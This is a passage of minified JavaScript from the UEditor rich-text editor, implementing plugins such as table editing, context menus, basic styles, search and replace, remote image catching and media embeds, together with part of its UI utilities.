- (g=e.getCell(e.indexTable[e.rowsNum-1][f.colIndex].rowIndex,e.indexTable[e.rowsNum-1][f.colIndex].cellIndex),b.shiftKey&&e.selectedTds.length?e.selectedTds[0]!==g?(b=e.getCellsRange(e.selectedTds[0],g),e.setSelected(b)):h&&h.selectNodeContents(g).select():c!==g?(b=e.getCellsRange(c,g),e.setSelected(b)):h&&h.selectNodeContents(g).select()):l(g,c,b)&&(g=e.getCell(e.indexTable[f.rowIndex][e.colsNum-1].rowIndex,e.indexTable[f.rowIndex][e.colsNum-1].cellIndex),b.shiftKey&&e.selectedTds.length?e.selectedTds[0]!==
- g?(b=e.getCellsRange(e.selectedTds[0],g),e.setSelected(b)):h&&h.selectNodeContents(g).select():c!==g?(b=e.getCellsRange(c,g),e.setSelected(b)):h&&h.selectNodeContents(g).select())}})});O(a,!0)}});e.on(y.document,"mousemove",h);e.on(y.document,"mouseout",function(a){"TABLE"==(a.target||a.srcElement).tagName&&n(y,!1,"",null)});y.addListener("interlacetable",function(a,b,c){if(b){a=b.rows;b=a.length;for(var d=0;d<b;d++)a[d].className=(c||this.options.classList)[d]?(c||this.options.classList)[d]:(c||
- this.options.classList)[d%(c||this.options.classList).length]}});y.addListener("uninterlacetable",function(a,b){if(b)for(var c=b.rows,d=this.options.classList,g=c.length,f=0;f<g;f++)e.removeClasses(c[f],d)});y.addListener("mousedown",s);y.addListener("mouseup",F);e.on(y.body,"dragstart",function(a){F.call(y,"dragstart",a)});var t=0;y.addListener("mousedown",function(){t=0});y.addListener("tabkeydown",function(){var a=this.selection.getRange(),b=a.getCommonAncestor(!0,!0),d=e.findParentByTagName(b,
- "table");if(d){if(e.findParentByTagName(b,"caption",!0))(b=e.getElementsByTagName(d,"th td"))&&b.length&&a.setStart(b[0],0).setCursor(!1,!0);else{var b=e.findParentByTagName(b,["td","th"],!0),g=N(b);t=1<b.rowSpan?t:g.getCellInfo(b).rowIndex;(b=g.getTabNextCell(b,t))?c(b)?a.setStart(b,0).setCursor(!1,!0):a.selectNodeContents(b).select():(y.fireEvent("saveScene"),y.__hasEnterExecCommand=!0,this.execCommand("insertrownext"),y.__hasEnterExecCommand=!1,a=this.selection.getRange(),a.setStart(d.rows[d.rows.length-
- 1].cells[0],0).setCursor(),y.fireEvent("saveScene"))}return!0}});r.ie&&y.addListener("selectionchange",function(){n(this,!1,"",null)});y.addListener("keydown",function(a,b){var c=b.keyCode||b.which;if(8!=c&&46!=c){(c=!b.ctrlKey&&!b.metaKey&&!b.shiftKey&&!b.altKey)&&ha(e.getElementsByTagName(this.body,"td"));var d=G.getUETableBySelected(this);d&&c&&d.clearSelected()}});y.addListener("beforegetcontent",function(){O(this,!1);r.ie&&p.each(this.document.getElementsByTagName("caption"),function(a){e.isEmptyNode(a)&&
- (a.innerHTML=" ")})});y.addListener("aftergetcontent",function(){O(this,!0)});y.addListener("getAllHtml",function(){ha(y.document.getElementsByTagName("td"))});y.addListener("fullscreenchanged",function(a,b){if(!b){var c=this.body.offsetWidth/document.body.offsetWidth,d=e.getElementsByTagName(this.body,"table");p.each(d,function(a){if(a.offsetWidth<y.body.offsetWidth)return!1;var b=e.getElementsByTagName(a,"td"),d=[];p.each(b,function(a){d.push(a.offsetWidth)});for(var g=0,f;f=b[g];g++)f.setAttribute("width",
- Math.floor(d[g]*c));a.setAttribute("width",Math.floor(ba(y,!0,G.getDefaultValue(y,void 0))))})}});var v=y.execCommand;y.execCommand=function(a,b){a=a.toLowerCase();var d=G.getUETableBySelected(this),g=new K.Range(this.document),f=this.commands[a]||UE.commands[a],l;if(f){if(!d||ja[a]||f.notNeedUndo||this.__hasEnterExecCommand)l=v.apply(this,arguments);else{this.__hasEnterExecCommand=!0;this.fireEvent("beforeexeccommand",a);for(var d=d.selectedTds,h=f=-2,k,m,n=0,s;s=d[n];n++)if(c(s)?g.setStart(s,0).setCursor(!1,
- !0):g.selectNode(s).select(!0),m=this.queryCommandState(a),k=this.queryCommandValue(a),-1!=m){if(f!==m||h!==k)this._ignoreContentChange=!0,l=v.apply(this,arguments),this._ignoreContentChange=!1;f=this.queryCommandState(a);h=this.queryCommandValue(a);e.isEmptyBlock(s)&&e.fillNode(this.document,s)}g.setStart(d[0],0).shrinkBoundary(!0).setCursor(!1,!0);this.fireEvent("contentchange");this.fireEvent("afterexeccommand",a);this.__hasEnterExecCommand=!1;this._selectionChange()}return l}}})};UE.plugins.contextmenu=
- function(){var f=this,a=f.getLang("contextMenu"),d,c=f.options.contextMenu||[{label:a.selectall,cmdName:"selectall"},{label:a.deletecode,cmdName:"highlightcode",icon:"deletehighlightcode"},{label:a.cleardoc,cmdName:"cleardoc",exec:function(){confirm(a.confirmclear)&&this.execCommand("cleardoc")}},"-",{label:a.unlink,cmdName:"unlink"},"-",{group:a.paragraph,icon:"justifyjustify",subMenu:[{label:a.justifyleft,cmdName:"justify",value:"left"},{label:a.justifyright,cmdName:"justify",value:"right"},{label:a.justifycenter,
- cmdName:"justify",value:"center"},{label:a.justifyjustify,cmdName:"justify",value:"justify"}]},"-",{group:a.table,icon:"table",subMenu:[{label:a.inserttable,cmdName:"inserttable"},{label:a.deletetable,cmdName:"deletetable"},"-",{label:a.deleterow,cmdName:"deleterow"},{label:a.deletecol,cmdName:"deletecol"},{label:a.insertcol,cmdName:"insertcol"},{label:a.insertcolnext,cmdName:"insertcolnext"},{label:a.insertrow,cmdName:"insertrow"},{label:a.insertrownext,cmdName:"insertrownext"},"-",{label:a.insertcaption,
- cmdName:"insertcaption"},{label:a.deletecaption,cmdName:"deletecaption"},{label:a.inserttitle,cmdName:"inserttitle"},{label:a.deletetitle,cmdName:"deletetitle"},"-",{label:a.mergecells,cmdName:"mergecells"},{label:a.mergeright,cmdName:"mergeright"},{label:a.mergedown,cmdName:"mergedown"},"-",{label:a.splittorows,cmdName:"splittorows"},{label:a.splittocols,cmdName:"splittocols"},{label:a.splittocells,cmdName:"splittocells"},"-",{label:a.averageDiseRow,cmdName:"averagedistributerow"},{label:a.averageDisCol,
- cmdName:"averagedistributecol"},"-",{label:a.edittd,cmdName:"edittd",exec:function(){UE.ui.edittd&&new UE.ui.edittd(this);this.getDialog("edittd").open()}},{label:a.edittable,cmdName:"edittable",exec:function(){UE.ui.edittable&&new UE.ui.edittable(this);this.getDialog("edittable").open()}}]},{group:a.tablesort,icon:"tablesort",subMenu:[{label:a.reversecurrent,cmdName:"sorttable",value:1},{label:a.orderbyasc,cmdName:"sorttable"},{label:a.reversebyasc,cmdName:"sorttable",exec:function(){this.execCommand("sorttable",
- function(a,b){return b.innerHTML.localeCompare(a.innerHTML)})}},{label:a.orderbynum,cmdName:"sorttable",exec:function(){this.execCommand("sorttable",function(a,b){var c=a[r.ie?"innerText":"textContent"].match(/\d+/),d=b[r.ie?"innerText":"textContent"].match(/\d+/);c&&(c=+c[0]);d&&(d=+d[0]);return(c||0)-(d||0)})}},{label:a.reversebynum,cmdName:"sorttable",exec:function(){this.execCommand("sorttable",function(a,b){var c=a[r.ie?"innerText":"textContent"].match(/\d+/),d=b[r.ie?"innerText":"textContent"].match(/\d+/);
- c&&(c=+c[0]);d&&(d=+d[0]);return(d||0)-(c||0)})}}]},{group:a.borderbk,icon:"borderBack",subMenu:[{label:a.setcolor,cmdName:"interlacetable",exec:function(){this.execCommand("interlacetable")}},{label:a.unsetcolor,cmdName:"uninterlacetable",exec:function(){this.execCommand("uninterlacetable")}},{label:a.setbackground,cmdName:"settablebackground",exec:function(){this.execCommand("settablebackground",{repeat:!0,colorList:["#bbb","#ccc"]})}},{label:a.unsetbackground,cmdName:"cleartablebackground",exec:function(){this.execCommand("cleartablebackground")}},
- {label:a.redandblue,cmdName:"settablebackground",exec:function(){this.execCommand("settablebackground",{repeat:!0,colorList:["red","blue"]})}},{label:a.threecolorgradient,cmdName:"settablebackground",exec:function(){this.execCommand("settablebackground",{repeat:!0,colorList:["#aaa","#bbb","#ccc"]})}}]},{group:a.aligntd,icon:"aligntd",subMenu:[{cmdName:"cellalignment",value:{align:"left",vAlign:"top"}},{cmdName:"cellalignment",value:{align:"center",vAlign:"top"}},{cmdName:"cellalignment",value:{align:"right",
- vAlign:"top"}},{cmdName:"cellalignment",value:{align:"left",vAlign:"middle"}},{cmdName:"cellalignment",value:{align:"center",vAlign:"middle"}},{cmdName:"cellalignment",value:{align:"right",vAlign:"middle"}},{cmdName:"cellalignment",value:{align:"left",vAlign:"bottom"}},{cmdName:"cellalignment",value:{align:"center",vAlign:"bottom"}},{cmdName:"cellalignment",value:{align:"right",vAlign:"bottom"}}]},{group:a.aligntable,icon:"aligntable",subMenu:[{cmdName:"tablealignment",className:"left",label:a.tableleft,
- value:"left"},{cmdName:"tablealignment",className:"center",label:a.tablecenter,value:"center"},{cmdName:"tablealignment",className:"right",label:a.tableright,value:"right"}]},"-",{label:a.insertparagraphbefore,cmdName:"insertparagraph",value:!0},{label:a.insertparagraphafter,cmdName:"insertparagraph"},{label:a.copy,cmdName:"copy",exec:function(){alert(a.copymsg)},query:function(){return 0}},{label:a.paste,cmdName:"paste",exec:function(){alert(a.pastemsg)},query:function(){return 0}},{label:a.highlightcode,
- cmdName:"highlightcode",exec:function(){UE.ui.highlightcode&&new UE.ui.highlightcode(this);this.ui._dialogs.highlightcodeDialog.open()}}];if(c.length){var b=UE.ui.uiUtils;f.addListener("contextmenu",function(h,g){var k=b.getViewportOffsetByEvent(g);f.fireEvent("beforeselectionchange");d&&d.destroy();for(var l=0,n,m=[];n=c[l];l++){var s;(function(b){if("-"==b)(s=m[m.length-1])&&"-"!==s&&m.push("-");else if(b.hasOwnProperty("group")){for(var c=0,d,e=[];d=b.subMenu[c];c++)(function(a){"-"==a?(s=e[e.length-
- 1])&&"-"!==s?e.push("-"):e.splice(e.length-1):(f.commands[a.cmdName]||UE.commands[a.cmdName]||a.query)&&-1<(a.query?a.query():f.queryCommandState(a.cmdName))&&e.push({label:a.label||f.getLang("contextMenu."+a.cmdName+(a.value||""))||"",className:"edui-for-"+a.cmdName+(a.className?" edui-for-"+a.cmdName+"-"+a.className:""),onclick:a.exec?function(){a.exec.call(f)}:function(){f.execCommand(a.cmdName,a.value)}})})(d);e.length&&m.push({label:function(){switch(b.icon){case "table":return f.getLang("contextMenu.table");
- case "justifyjustify":return f.getLang("contextMenu.paragraph");case "aligntd":return f.getLang("contextMenu.aligntd");case "aligntable":return f.getLang("contextMenu.aligntable");case "tablesort":return a.tablesort;case "borderBack":return a.borderbk;default:return""}}(),className:"edui-for-"+b.icon,subMenu:{items:e,editor:f}})}else(f.commands[b.cmdName]||UE.commands[b.cmdName]||b.query)&&-1<(b.query?b.query.call(f):f.queryCommandState(b.cmdName))&&("highlightcode"!=b.cmdName||!(1==f.queryCommandState(b.cmdName)&&
- "deletehighlightcode"!=b.icon||1!=f.queryCommandState(b.cmdName)&&"deletehighlightcode"==b.icon))&&m.push({label:b.label||f.getLang("contextMenu."+b.cmdName),className:"edui-for-"+(b.icon?b.icon:b.cmdName+(b.value||"")),onclick:b.exec?function(){b.exec.call(f)}:function(){f.execCommand(b.cmdName,b.value)}})})(n)}"-"==m[m.length-1]&&m.pop();d=new UE.ui.Menu({items:m,className:"edui-contextmenu",editor:f});d.render();d.showAt(k);f.fireEvent("aftershowcontextmenu",d);e.preventDefault(g);if(r.ie){var t;
- try{t=f.selection.getNative().createRange()}catch(u){return}t.item&&(new K.Range(f.document)).selectNode(t.item(0)).select(!0,!0)}})}};UE.plugins.shortcutmenu=function(){var f,a=this.options.shortcutMenu||[];a.length&&(this.addListener("contextmenu mouseup",function(d,c){var b=this,h={type:d,target:c.target||c.srcElement,screenX:c.screenX,screenY:c.screenY,clientX:c.clientX,clientY:c.clientY};setTimeout(function(){if(!1===b.selection.getRange().collapsed||"contextmenu"==d)f||(f=new q.editor.ui.ShortCutMenu({editor:b,
- items:a,theme:b.options.theme,className:"edui-shortcutmenu"}),f.render(),b.fireEvent("afterrendershortcutmenu",f)),f.show(h,!!UE.plugins.contextmenu)});if("contextmenu"==d&&(e.preventDefault(c),r.ie)){var g;try{g=b.selection.getNative().createRange()}catch(k){return}g.item&&(new K.Range(b.document)).selectNode(g.item(0)).select(!0,!0)}"keydown"==d&&f&&!f.isHidden&&f.hide()}),this.addListener("keydown",function(a){"keydown"==a&&f&&!f.isHidden&&f.hide()}))};UE.plugins.basestyle=function(){var f={bold:["strong",
- "b"],italic:["em","i"],subscript:["sub"],superscript:["sup"]},a=this;a.addshortcutkey({Bold:"ctrl+66",Italic:"ctrl+73",Underline:"ctrl+85"});a.addInputRule(function(a){p.each(a.getNodesByTagName("b i"),function(a){switch(a.tagName){case "b":a.tagName="strong";break;case "i":a.tagName="em"}})});for(var d in f)(function(c,b){a.commands[c]={execCommand:function(c){var d=a.selection.getRange(),f=e.filterNodeList(this.selection.getStartElementPath(),b);if(d.collapsed){if(f)c=a.document.createTextNode(""),
- d.insertNode(c).removeInlineStyle(b),d.setStartBefore(c),e.remove(c);else{f=d.document.createElement(b[0]);if("superscript"==c||"subscript"==c)c=a.document.createTextNode(""),d.insertNode(c).removeInlineStyle(["sub","sup"]).setStartBefore(c).collapse(!0);d.insertNode(f).setStart(f,0)}d.collapse(!0)}else{if("superscript"==c||"subscript"==c)f&&f.tagName.toLowerCase()==c||d.removeInlineStyle(["sub","sup"]);f?d.removeInlineStyle(b):d.applyInlineStyle(b[0])}d.select()},queryCommandState:function(){return e.filterNodeList(this.selection.getStartElementPath(),
- b)?1:0}}})(d,f[d])};UE.plugins.elementpath=function(){var e,a,d=this;d.setOpt("elementPathEnabled",!0);d.options.elementPathEnabled&&(d.commands.elementpath={execCommand:function(c,b){var h=a[b],g=d.selection.getRange();e=1*b;g.selectNode(h).select()},queryCommandValue:function(){var c=[].concat(this.selection.getStartElementPath()).reverse(),b=[];a=c;for(var d=0,g;g=c[d];d++)if(3!=g.nodeType){var k=g.tagName.toLowerCase();"img"==k&&g.getAttribute("anchorname")&&(k="anchor");b[d]=k;if(e==d){e=-1;
- break}}return b}})};UE.plugins.formatmatch=function(){function f(h,g){if(r.webkit)var k="IMG"==g.target.tagName?g.target:null;a.undoManger&&a.undoManger.save();var l=a.selection.getRange(),k=k||l.getClosedNode();if(c&&k&&"IMG"==k.tagName)k.style.cssText+=";float:"+(c.style.cssFloat||c.style.styleFloat||"none")+";display:"+(c.style.display||"inline"),c=null;else if(!c){if(l.collapsed){var n=a.document.createTextNode("match");l.insertNode(n).select()}a.__hasEnterExecCommand=!0;l=a.options.removeFormatAttributes;
- a.options.removeFormatAttributes="";a.execCommand("removeformat");a.options.removeFormatAttributes=l;a.__hasEnterExecCommand=!1;l=a.selection.getRange();d.length&&(k=l,n&&k.selectNode(n),k.applyInlineStyle(d[d.length-1].tagName,null,d));n&&l.setStartBefore(n).collapse(!0);l.select();n&&e.remove(n)}a.undoManger&&a.undoManger.save();a.removeListener("mouseup",f);b=0}var a=this,d=[],c,b=0;a.addListener("reset",function(){d=[];b=0});a.commands.formatmatch={execCommand:function(h){if(b)b=0,d=[],a.removeListener("mouseup",
- f);else{h=a.selection.getRange();c=h.getClosedNode();if(!c||"IMG"!=c.tagName){h.collapse(!0).shrinkBoundary();d=e.findParents(h.startContainer,!0,function(a){return!e.isBlockElm(a)&&1==a.nodeType});h=0;for(var g;g=d[h];h++)if("A"==g.tagName){d.splice(h,1);break}}a.addListener("mouseup",f);b=1}},queryCommandState:function(){return b},notNeedUndo:1}};UE.plugins.searchreplace=function(){var e,a;this.addListener("reset",function(){a=e=null});this.commands.searchreplace={execCommand:function(d,c){var b=
- this.selection,h,g,k=0;c=p.extend(c,{all:!1,casesensitive:!1,dir:1},!0);var l=c.searchStr;if(r.ie)for(this.focus();;){g=this.document.selection.createRange();h=g.duplicate();h.moveToElementText(this.document.body);c.all?(a=0,c.dir=1,e?h.setEndPoint(-1==c.dir?"EndToStart":"StartToEnd",e):h.moveToElementText(this.document.body)):(h.setEndPoint(-1==c.dir?"EndToStart":"StartToEnd",g),c.hasOwnProperty("replaceStr")&&h.setEndPoint(-1==c.dir?"StartToEnd":"EndToStart",g));h.duplicate();if(/^\/[^/]+\/\w*$/.test(c.searchStr))if(l=
- h.text,g=RegExp(c.searchStr.replace(/^\/|\/\w*$/g,""),"g"+(c.casesensitive?"":"i")),(l=l.match(g))&&l.length)l=0>c.dir?l[l.length-1]:l[0];else return e=null,k;if(!h.findText(l,c.dir,c.casesensitive?4:0))return e=null,h=this.document.selection.createRange(),h.scrollIntoView(),e=null,k;h.select();c.hasOwnProperty("replaceStr")&&(h=b.getRange(),h.deleteContents().insertNode(h.document.createTextNode(c.replaceStr)).select(),e=b.getNative().createRange());k++;if(!c.all)break}else for(var n=this.window,
- b=b.getNative();;){c.all?(e?(e.collapse(!1),g=e):(g=this.document.createRange(),g.setStart(this.document.body,0),g.collapse(!0)),b.removeAllRanges(),b.addRange(g),a=0,c.dir=1):(r.safari&&this.selection.getRange().select(),b=n.getSelection(),g=b.rangeCount?b.getRangeAt(0):e||this._bakNativeRange,c.hasOwnProperty("replaceStr")&&g.collapse(1==c.dir?!0:!1));a?b.removeAllRanges():(g.collapse(0>c.dir?!0:!1),b.removeAllRanges(),b.addRange(g));if(/^\/[^/]+\/\w*$/.test(c.searchStr)){h=g.cloneRange();0>c.dir?
- (g.collapse(!0),g.setStart(this.body,0)):g.setEnd(this.body,this.body.childNodes.length);l=g+"";g=RegExp(c.searchStr.replace(/^\/|\/\w*$/g,""),"g"+(c.casesensitive?"":"i"));if((l=l.match(g))&&l.length)l=0>c.dir?l[l.length-1]:l[0];else return e=null,k;b.removeAllRanges();g=h;b.addRange(g)}if(!n.find(l,c.casesensitive,0>c.dir?!0:!1))return e=null,b.removeAllRanges(),k;a=0;h=n.getSelection().getRangeAt(0);h.collapsed||(c.hasOwnProperty("replaceStr")&&(h.deleteContents(),g=n.document.createTextNode(c.replaceStr),
- h.insertNode(g),h.selectNode(g),b.addRange(h)),e=h.cloneRange());k++;if(!c.all)break}return!0}}};UE.plugins.customstyle=function(){var f=this;f.setOpt({customstyle:[{tag:"h1",name:"tc",style:"font-size:32px;font-weight:bold;border-bottom:#ccc 2px solid;padding:0 4px 0 0;text-align:center;margin:0 0 20px 0;"},{tag:"h1",name:"tl",style:"font-size:32px;font-weight:bold;border-bottom:#ccc 2px solid;padding:0 4px 0 0;text-align:left;margin:0 0 10px 0;"},{tag:"span",name:"im",style:"font-size:16px;font-style:italic;font-weight:bold;line-height:18px;"},
- {tag:"span",name:"hi",style:"font-size:16px;font-style:italic;font-weight:bold;color:rgb(51, 153, 204);line-height:18px;"}]});f.commands.customstyle={execCommand:function(a,d){var c=d.tag,b=e.findParent(this.selection.getStart(),function(a){return a.getAttribute("label")},!0),f,g,k={};for(f in d)void 0!==d[f]&&(k[f]=d[f]);delete k.tag;if(b&&b.getAttribute("label")==d.label){f=this.selection.getRange();g=f.createBookmark();if(f.collapsed)if(w.$block[b.tagName]){var l=this.document.createElement("p");
- e.moveChild(b,l);b.parentNode.insertBefore(l,b);e.remove(b)}else e.remove(b,!0);else{b=e.getCommonAncestor(g.start,g.end);k=e.getElementsByTagName(b,c);RegExp(c,"i").test(b.tagName)&&k.push(b);for(var n=0,m;m=k[n++];)if(m.getAttribute("label")==d.label){var l=e.getPosition(m,g.start),s=e.getPosition(m,g.end);(l&e.POSITION_FOLLOWING||l&e.POSITION_CONTAINS)&&(s&e.POSITION_PRECEDING||s&e.POSITION_CONTAINS)&&w.$block[c]&&(l=this.document.createElement("p"),e.moveChild(m,l),m.parentNode.insertBefore(l,
- m));e.remove(m,!0)}(b=e.findParent(b,function(a){return a.getAttribute("label")==d.label},!0))&&e.remove(b,!0)}f.moveToBookmark(g).select()}else w.$block[c]?(this.execCommand("paragraph",c,k,"customstyle"),f=this.selection.getRange(),f.collapsed||(f.collapse(),b=e.findParent(this.selection.getStart(),function(a){return a.getAttribute("label")==d.label},!0),c=this.document.createElement("p"),e.insertAfter(b,c),e.fillNode(this.document,c),f.setStart(c,0).setCursor())):(f=this.selection.getRange(),f.collapsed?
- (b=this.document.createElement(c),e.setAttributes(b,k),f.insertNode(b).setStart(b,0).setCursor()):(g=f.createBookmark(),f.applyInlineStyle(c,k).moveToBookmark(g).select()))},queryCommandValue:function(){var a=e.filterNodeList(this.selection.getStartElementPath(),function(a){return a.getAttribute("label")});return a?a.getAttribute("label"):""}};f.addListener("keyup",function(a,d){var c=d.keyCode||d.which;if(32==c||13==c)if(c=f.selection.getRange(),c.collapsed){var b=e.findParent(f.selection.getStart(),
- function(a){return a.getAttribute("label")},!0);if(b&&w.$block[b.tagName]&&e.isEmptyNode(b)){var h=f.document.createElement("p");e.insertAfter(b,h);e.fillNode(f.document,h);e.remove(b);c.setStart(h,0).setCursor()}}})};UE.plugins.catchremoteimage=function(){function f(c,e){var f=c.join(h),n={timeout:6E4,onsuccess:e.success,onerror:e.error};n[a.options.catchFieldName]=f;d.request(b,n)}if(!1!==this.options.catchRemoteImageEnable){var a=this;this.setOpt({localDomain:["127.0.0.1","localhost","img.baidu.com"],
- separater:"ue_separate_ue",catchFieldName:"upfile",catchRemoteImageEnable:!0});var d=UE.ajax,c=a.options.localDomain,b=a.options.catcherUrl,h=a.options.separater;a.addListener("afterpaste",function(){a.fireEvent("catchRemoteImage")});a.addListener("catchRemoteImage",function(){for(var b=[],d=e.getElementsByTagName(a.document,"img"),l=function(a,b){for(var c=0,d;d=b[c++];)if(-1!==a.indexOf(d))return!0;return!1},n=0,m;m=d[n++];)m.getAttribute("word_img")||(m=m.getAttribute("_src")||m.src||"",/^(https?|ftp):/i.test(m)&&
- !l(m,c)&&b.push(m));b.length&&f(b,{success:function(b){try{var c=eval("("+b.responseText+")")}catch(g){return}b=c.srcUrl.split(h);for(var c=c.url.split(h),f=0,l;l=d[f++];)for(var m=l.getAttribute("_src")||l.src||"",n=0,p;p=b[n++];){var q=c[n-1];if(m==p&&"error"!=q){m=a.options.catcherPath+q;e.setAttributes(l,{src:m,_src:m});break}}a.fireEvent("catchremotesuccess")},error:function(){a.fireEvent("catchremoteerror")}})})}};UE.plugins.snapscreen=function(){var e,a;this.setOpt({snapscreenServerPort:location.port,
- snapscreenImgAlign:"",snapscreenHost:location.hostname});this.commands.snapscreen={execCommand:function(){var d=this,c=d.getLang("snapScreen_plugin");if(!a){var b=d.container;e=b.ownerDocument||b.document;a=e.createElement("object");try{a.type="application/x-pluginbaidusnap"}catch(h){return}a.style.cssText="position:absolute;left:-9999px;";a.setAttribute("width","0");a.setAttribute("height","0");b.appendChild(a)}var g=d.options,b=function(a){try{a=eval("("+a+")")}catch(b){alert(c.callBackErrorMsg);
- return}"SUCCESS"!=a.state?alert(a.state):d.execCommand("insertimage",{src:g.snapscreenPath+a.url,floatStyle:g.snapscreenImgAlign,_src:g.snapscreenPath+a.url})};try{var k=g.snapscreenServerPort+"";g.snapscreenServerUrl=g.snapscreenServerUrl.split(g.snapscreenHost);g.snapscreenServerUrl=g.snapscreenServerUrl[1]||g.snapscreenServerUrl[0];0===g.snapscreenServerUrl.indexOf(":"+k)&&(g.snapscreenServerUrl=g.snapscreenServerUrl.substring(k.length+1));var l=a.saveSnapshot(g.snapscreenHost,g.snapscreenServerUrl,
- k);b(l)}catch(n){d.ui._dialogs.snapscreenDialog.open()}}}};UE.commands.insertparagraph={execCommand:function(f,a){for(var d=this.selection.getRange(),c=d.startContainer,b;c&&!e.isBody(c);)b=c,c=c.parentNode;b&&(c=this.document.createElement("p"),a?b.parentNode.insertBefore(c,b):b.parentNode.insertBefore(c,b.nextSibling),e.fillNode(this.document,c),d.setStart(c,0).setCursor(!1,!0))}};UE.plugins.webapp=function(){function f(a,b,e){return b?'<iframe class="edui-faked-webapp" title="'+a.title+'" width="'+
- a.width+'" height="'+a.height+'" scrolling="no" frameborder="0" src="'+a.url+'" logo_url = '+a.logo+"></iframe>":(e?"<p>":"")+'<img title="'+a.title+'" width="'+a.width+'" height="'+a.height+'" src="'+d.options.UEDITOR_HOME_URL+'themes/default/images/spacer.gif" style="background:url('+a.logo+') no-repeat center center; border:1px solid gray;" class="edui-faked-webapp" _url="'+a.url+'" />'+(e?"</p>":"")}function a(a){for(var b,h=e.getElementsByTagName(d.document,a?"img":"iframe"),g=0,k;k=h[g++];)"edui-faked-webapp"==
- k.className&&(b=d.document.createElement("div"),b.innerHTML=f(a?{url:k.getAttribute("_url"),width:k.width,height:k.height,title:k.title,logo:k.style.backgroundImage.replace("url(","").replace(")","")}:{url:k.getAttribute("src",2),title:k.title,width:k.width,height:k.height,logo:k.getAttribute("logo_url")},a?!0:!1,!1),k.parentNode.replaceChild(b.firstChild,k))}var d=this;d.addListener("beforegetcontent",function(){a(!0)});d.addListener("aftersetcontent",function(){a(!1)});d.addListener("aftergetcontent",
- function(c){"aftergetcontent"==c&&d.queryCommandState("source")||a(!1)});d.commands.webapp={execCommand:function(a,b){d.execCommand("inserthtml",f(b,!1,!0))}}};UE.plugins.template=function(){UE.commands.template={execCommand:function(e,a){a.html&&this.execCommand("inserthtml",a.html)}};this.addListener("click",function(f,a){var d=a.target||a.srcElement,c=this.selection.getRange();(d=e.findParent(d,function(a){if(a.className&&e.hasClass(a,"ue_t"))return a},!0))&&c.selectNode(d).shrinkBoundary().select()});
- this.addListener("keydown",function(f,a){var d=this.selection.getRange();d.collapsed||(a.ctrlKey||a.metaKey||a.shiftKey||a.altKey)||(d=e.findParent(d.startContainer,function(a){if(a.className&&e.hasClass(a,"ue_t"))return a},!0))&&e.removeClasses(d,["ue_t"])})};UE.plugins.music=function(){function f(a,b,e,g,f,l){return f?'<embed type="application/x-shockwave-flash" class="edui-faked-music" pluginspage="http://www.macromedia.com/go/getflashplayer" src="'+a+'" width="'+b+'" height="'+e+'" align="'+g+
- '"'+("none"!=g?' style= "'+("center"==g?"display:block;":" float: "+g)+'"':"")+' wmode="transparent" play="true" loop="false" menu="false" allowscriptaccess="never" allowfullscreen="true" >':(l?"<p "+("none"!=g?"center"==g?' style="text-align:center;" ':' style="float:"'+g:"")+">":"")+'<img align="'+g+'" width="'+b+'" height="'+e+'" _url="'+a+'" class="edui-faked-music" src="'+d.options.langPath+d.options.lang+'/images/music.png" />'+(l?"</p>":"")}function a(a){for(var b,h=e.getElementsByTagName(d.document,
- a?"img":"embed"),g=0,k;k=h[g++];)if("edui-faked-music"==k.className){b=d.document.createElement("div");var l=e.getComputedStyle(k,"float"),l="none"==l?k.getAttribute("align")||"":l;b.innerHTML=f(a?k.getAttribute("_url"):k.getAttribute("src"),k.width,k.height,l,a);k.parentNode.replaceChild(b.firstChild,k)}}var d=this;d.addListener("beforegetcontent",function(){a(!0)});d.addListener("aftersetcontent",function(){a(!1)});d.addListener("aftergetcontent",function(c){"aftergetcontent"==c&&d.queryCommandState("source")||
- a(!1)});d.commands.music={execCommand:function(a,b){var d=f(b.url,b.width||400,b.height||95,"none",!1,!0);this.execCommand("inserthtml",d)},queryCommandState:function(){var a=this.selection.getRange().getClosedNode();return a&&"edui-faked-music"==a.className?1:0}}};q=q||{};q.editor=q.editor||{};q.editor.ui={};(function(){function e(){var a=document.getElementById("edui_fixedlayer");h.setViewportOffset(a,{left:0,top:0})}var a=q.editor.browser,d=q.editor.dom.domUtils,c=window.$EDITORUI={},b=0,h=q.editor.ui.uiUtils=
- {uid:function(a){return a?a.ID$EDITORUI||(a.ID$EDITORUI=++b):++b},hook:function(a,b){var c;a&&a._callbacks?c=a:(c=function(){var b;a&&(b=a.apply(this,arguments));for(var d=c._callbacks,e=d.length;e--;){var f=d[e].apply(this,arguments);void 0===b&&(b=f)}return b},c._callbacks=[]);c._callbacks.push(b);return c},createElementByHtml:function(a){var b=document.createElement("div");b.innerHTML=a;b=b.firstChild;b.parentNode.removeChild(b);return b},getViewportElement:function(){return a.ie&&a.quirks?document.body:
- document.documentElement},getClientRect:function(a){var b;try{b=a.getBoundingClientRect()}catch(c){b={left:0,top:0,height:0,width:0}}for(var e={left:Math.round(b.left),top:Math.round(b.top),height:Math.round(b.bottom-b.top),width:Math.round(b.right-b.left)},f;(f=a.ownerDocument)!==document&&(a=d.getWindow(f).frameElement);)b=a.getBoundingClientRect(),e.left+=b.left,e.top+=b.top;e.bottom=e.top+e.height;e.right=e.left+e.width;return e},getViewportRect:function(){var a=h.getViewportElement(),b=(window.innerWidth||
- a.clientWidth)|0,a=(window.innerHeight||a.clientHeight)|0;return{left:0,top:0,height:a,width:b,bottom:a,right:b}},setViewportOffset:function(a,b){var c=h.getFixedLayer();a.parentNode===c?(a.style.left=b.left+"px",a.style.top=b.top+"px"):d.setViewportOffset(a,b)},getEventOffset:function(a){var b=h.getClientRect(a.target||a.srcElement);a=h.getViewportOffsetByEvent(a);return{left:a.left-b.left,top:a.top-b.top}},getViewportOffsetByEvent:function(a){var b=a.target||a.srcElement,c=d.getWindow(b).frameElement;
- a={left:a.clientX,top:a.clientY};c&&b.ownerDocument!==document&&(b=h.getClientRect(c),a.left+=b.left,a.top+=b.top);return a},setGlobal:function(a,b){c[a]=b;return'$EDITORUI["'+a+'"]'},unsetGlobal:function(a){delete c[a]},copyAttributes:function(b,c){for(var e=c.attributes,f=e.length;f--;){var h=e[f];"style"==h.nodeName||("class"==h.nodeName||a.ie&&!h.specified)||b.setAttribute(h.nodeName,h.nodeValue)}c.className&&d.addClass(b,c.className);c.style.cssText&&(b.style.cssText+=";"+c.style.cssText)},removeStyle:function(a,
